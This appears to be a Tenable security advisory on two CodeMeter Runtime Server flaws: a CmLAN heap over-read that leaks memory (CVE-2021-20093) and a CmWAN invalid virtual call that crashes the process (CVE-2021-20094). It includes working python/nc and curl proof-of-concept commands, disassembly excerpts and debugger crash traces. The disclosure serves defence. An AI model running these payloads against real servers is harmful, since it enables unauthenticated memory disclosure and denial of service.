Multiple Vulnerabilities in Wibu-Systems CodeMeter
CriticalSynopsis
CVE-2021-20093: CmLAN Server Unencrypted Message Buffer Over-read
The CodeMeter CmLAN server allows unencrypted messages from remote clients if the message body starts with '\xA2\x05'. When generating a response, the server copies data from a heap-based buffer of 0x100 bytes to an output buffer to be sent in the response. The amount to copy is controlled by the client. An unauthenticated remote attacker can exploit this issue to disclose heap memory contents or crash the CodeMeter Runtime Server (i.e., CodeMeter.exe), depending on the size of the message sent to the server.
The following code snippet shows the vulnerability:
[...] .text:0050FB0B lea eax, [edi+YS0001.buf] ; heap buffer of 0x100 bytes .text:0050FB0E push [edi+YS0001.bufsz] ; attacker-controlled copy size .text:0050FB0E ; buffer over-read -> info disclosure or DoS .text:0050FB11 push eax .text:0050FB12 lea eax, [ecx+8] ; output buffer in the response .text:0050FB15 push eax .text:0050FB16 call _memmove [...]
The following PoC can be used to disclose heap memory contents:
python3 -c "import os,struct; size=0x200; os.write(1,b'samc'+struct.pack('<LHHL',size+2,0x71,1,0)+b'\xA2\x05'+b'A'*size)" | nc <CmHost> <CmLANServerPort> | xxd 0000000: 7361 6d63 0802 0000 7100 0100 0000 0000 samc....q....... 0000010: 0000 0000 6800 0000 0000 0000 0000 0000 ....h........... 0000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000090: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000100: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000110: 0000 0000 0000 0000 62cd 7e97 3a4a 0d00 ........b.~.:J.. 0000120: d892 be01 90ef 4e01 0000 0000 0000 0000 ......N......... 0000130: 303b bc01 303b bc01 0000 0000 0000 0000 0;..0;.......... 0000140: 403b bc01 403b bc01 0000 0000 0000 0000 @;[email protected];.......... 0000150: 503b bc01 503b bc01 683a bc01 0000 0000 P;..P;..h:...... 0000160: 0000 0000 0000 0000 0000 0000 9002 0000 ................ 0000170: 0010 0000 20e6 bd16 33cd 7fc7 114a 0d14 .... ...3....J.. 0000180: 0000 7177 e86b c500 6e74 646c 6c2e 646c ..qw.k..ntdll.dl 0000190: 6c00 0000 0000 0000 0900 0000 0f00 0000 l............... 00001a0: f02a 7877 302a 7877 502a 7877 0000 a076 .*xw0*xwP*xw...v 00001b0: e86b c500 6b65 726e 656c 3332 2e64 6c6c .k..kernel32.dll 00001c0: 0000 0000 0c00 0000 0f00 0000 0000 a076 ...............v 00001d0: 0000 a076 0000 a076 0000 a076 0000 a076 ...v...v...v...v 00001e0: 0000 a076 0000 a076 0000 a076 0000 a076 ...v...v...v...v 00001f0: e86b c500 0000 0000 0000 0000 0000 0000 .k.............. 0000200: 0000 0000 0000 0000 0f00 0000 e86b c500 .............k.. 0000210: 0000 0000 0000 0000 ........
Proof of Concept
The following PoC can be used to crash the CodeMeter Runtime Server (i.e., CodeMeter.exe):
python3 -c "import os,struct; size=0x1000000; os.write(1,b'samc'+struct.pack('<LHHL',size+2,0x71,1,0)+b'\xA2\x05'+b'A'*size)" | nc <CmHost> <CmLANServerPort> > /dev/null python3 -c "import os,struct; size=0x1000000; os.write(1,b'samc'+struct.pack('<LHHL',size+2,0x71,1,0)+b'\xA2\x05'+b'A'*size)" | nc <CmHost> <CmLANServerPort> > /dev/null Traceback (most recent call last): File "<string>", line 1, in <module> BrokenPipeError: [Errno 32] Broken pipe
The following shows the access violation exception caused by the buffer over-read:
0:021> g (19d8.8e8): C++ EH exception - code e06d7363 (first chance) (19d8.8e8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=02c27a28 ebx=02d2f920 ecx=00fefa28 edx=01000000 esi=01c38000 edi=04dc7600 eip=008cf81e esp=02d2f8b8 ebp=02d2f938 iopl=0 nv up ei pl nz na po cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010203 CodeMeter+0x1bf81e: 008cf81e f3a4 rep movs byte ptr es:[edi],byte ptr [esi] 0:011> r eax=02c27a28 ebx=02d2f920 ecx=00fefa28 edx=01000000 esi=01c38000 edi=04dc7600 eip=008cf81e esp=02d2f8b8 ebp=02d2f938 iopl=0 nv up ei pl nz na po cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010203 CodeMeter+0x1bf81e: 008cf81e f3a4 rep movs byte ptr es:[edi],byte ptr [esi] 0:011> db esi 01c38000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 01c38010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 01c38020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 01c38030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 01c38040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 01c38050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 01c38060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 01c38070 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 0:011> kb # ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 00 02d2f938 00864759 02d2f954 02d2f978 8f57e350 CodeMeter+0x1bf81e 01 02d2f98c 008640ce 8f57e314 01c2e8c8 01c56150 CodeMeter+0x154759 02 02d2f9c8 0089715a 8f57e010 01c2e8c8 00000000 CodeMeter+0x1540ce 03 02d2fb2c 00737f0c 00000000 01c28ff8 00737ee0 CodeMeter+0x18715a 04 02d2fb44 008df526 01acdba0 8f57e1a0 008df4ce CodeMeter+0x27f0c 05 02d2fb7c 76a1fa29 01c28ff8 76a1fa10 02d2fbe8 CodeMeter+0x1cf526 06 02d2fb8c 77777a4e 01c28ff8 1682050f 00000000 KERNEL32!BaseThreadInitThunk+0x19 07 02d2fbe8 77777a1e ffffffff 77798919 00000000 ntdll!__RtlUserThreadStart+0x2f 08 02d2fbf8 00000000 008df4ce 01c28ff8 00000000 ntdll!_RtlUserThreadStart+0x1b
CVE-2021-20094: CmWAN Server Unencrypted Message Remote DoS
The CodeMeter CmWAN server allows unencrypted messages from remote clients if the message body starts with '\xA2\x05'. When processing the message, the server calls an invalid C++ virtual function, resulting in an access violation exception leading to process termination. An unauthenticated remote attacker can exploit this issue to crash the CodeMeter Runtime Server (i.e., CodeMeter.exe).
The following code snippet shows the vulnerability:
[...]
.text:004FB799 mov edx, [ebp+pYS0083]
.text:004FB79C xor ecx, ecx
.text:004FB79E add esp, 0Ch
.text:004FB7A1 cmp [ebp+buf.cbData], ecx
.text:004FB7A4 cmovnz ecx, [ebp+buf.pbData]
.text:004FB7A8 mov eax, [edx]
.text:004FB7AA push ecx
.text:004FB7AB mov ecx, edx
.text:004FB7AD mov eax, [eax+28h]
.text:004FB7B0 call eax ; 0095f758 for CmWAN server
[...]
The code calls the virtual function at offset 0x28 of the vftable for class YS0083. However, the DWORD at the offset doesn't point to a function in a code section. Instead it points to somewhere (i.e., 0095f758) in a read-only section that doesn't contain code.
[...] .rdata:009177BC const YS0076::YS0083::`vftable' dd offset sub_43A3B0 .rdata:009177BC ; DATA XREF: sub_444CB0-B9F9↑o .rdata:009177BC ; sub_43A3B0+F↑o .rdata:009177BC ; sub_444CB0+4E↑o .rdata:009177BC ; sub_465CA0-7C2↑o .rdata:009177BC ; sub_465780+16↑o .rdata:009177BC ; sub_4B9D00+156↑o .rdata:009177BC ; sub_4BA590+68↑o .rdata:009177BC ; sub_4D50C0+6D↑o .rdata:009177BC ; sub_4D5270+7D↑o .rdata:009177BC ; sub_563D60+4E↑o .rdata:009177BC ; sub_563DD0+53↑o .rdata:009177C0 dd offset sub_54BA30 .rdata:009177C4 dd offset sub_54B820 .rdata:009177C8 dd offset sub_54B920 .rdata:009177CC dd offset YS0306_decrypt .rdata:009177D0 dd offset sub_54B430 .rdata:009177D4 dd offset sub_54B710 .rdata:009177D8 dd offset sub_54B550 .rdata:009177DC dd offset sub_54B540 .rdata:009177E0 dd offset sub_54B3E0 .rdata:009177E4 dd 95F758h [...] .rdata:0095F758 const YS0063::`RTTI Complete Object Locator' dd 0 ; signature .rdata:0095F75C dd 0 ; offset of this vtable in complete class (from top) .rdata:0095F760 dd 0 ; offset of constructor displacement .rdata:0095F764 dd offset YS0063 `RTTI Type Descriptor' ; reference to type description .rdata:0095F768 dd offset YS0063::`RTTI Class Hierarchy Descriptor' ; reference to hierarchy description [...]
The end result is an access violation exception leading to process termination:
(1ef0.1264): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00c6f758 ebx=01d10138 ecx=01ce8da4 edx=01ce8da4 esi=01293a9c edi=01d11ed8 eip=00c6f758 esp=02e6f6f4 ebp=02e6f804 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 CodeMeter+0x55f758: 00c6f758 0000 add byte ptr [eax],al ds:002b:00c6f758=00 0:009> kb # ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 00 02e6f804 007ef5a5 c003de67 01d10150 01d221f0 CodeMeter+0x55f758 01 02e6f844 007ef9c0 c003de5b 01d10138 43697000 CodeMeter+0xdf5a5 02 02e6f878 007ef36d c003deeb 01d10150 01d10138 CodeMeter+0xdf9c0 03 02e6f8fc 77753bb6 00000000 00000000 00000000 CodeMeter+0xdf36d 04 02e6f918 008ee6a3 01270000 00000000 01d0bb70 ntdll!RtlFreeHeap+0x46 05 02e6f92c 008d9a7b 01d0bb70 00000000 01d10150 CodeMeter+0x1de6a3 06 02e6f948 00863cc2 01d0bb70 c003deeb 02e6f99c CodeMeter+0x1c9a7b 07 02e6f958 00863e6c 01d10138 008640ce c003dfbf CodeMeter+0x153cc2 08 02e6f99c 0089715a c003dc83 01cf37a0 00000000 CodeMeter+0x153e6c 09 02e6faa4 008edf63 01cf37a0 01cf37a0 01cf36d8 CodeMeter+0x18715a 0a 02e6fb00 00737f0c 00000000 01b93480 00737ee0 CodeMeter+0x1ddf63 0b 02e6fb50 76a1fa29 01b93480 76a1fa10 02e6fbbc CodeMeter+0x27f0c 0c 02e6fb60 77777a4e 01b93480 160e095a 00000000 KERNEL32!BaseThreadInitThunk+0x19 0d 02e6fbbc 77777a1e ffffffff 777988fd 00000000 ntdll!__RtlUserThreadStart+0x2f 0e 02e6fbcc 00000000 008df4ce 01b93480 00000000 ntdll!_RtlUserThreadStart+0x1b
Proof of Concept
The following PoC can be used to crash the CodeMeter Runtime Server (i.e., CodeMeter.exe):
echo -ne '\xa2\x05\x00\x00\x00\x00' | curl -m 10 -H 'Content-Type: application/x-wibucm-coreapi' --data-binary @- http://<CmHost>:<CmWANServerPort>/ curl: (56) Failure when receiving data from the peer echo -ne '\xa2\x05\x00\x00\x00\x00' | curl -m 10 -H 'Content-Type: application/x-wibucm-coreapi' --data-binary @- http://<CmHost>:<CmWANServerPort>/ curl: (7) couldn't connect to host
Solution
Additional References
Disclosure Timeline
All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.
Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.
For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.
If you have questions or corrections about this advisory, please email [email protected]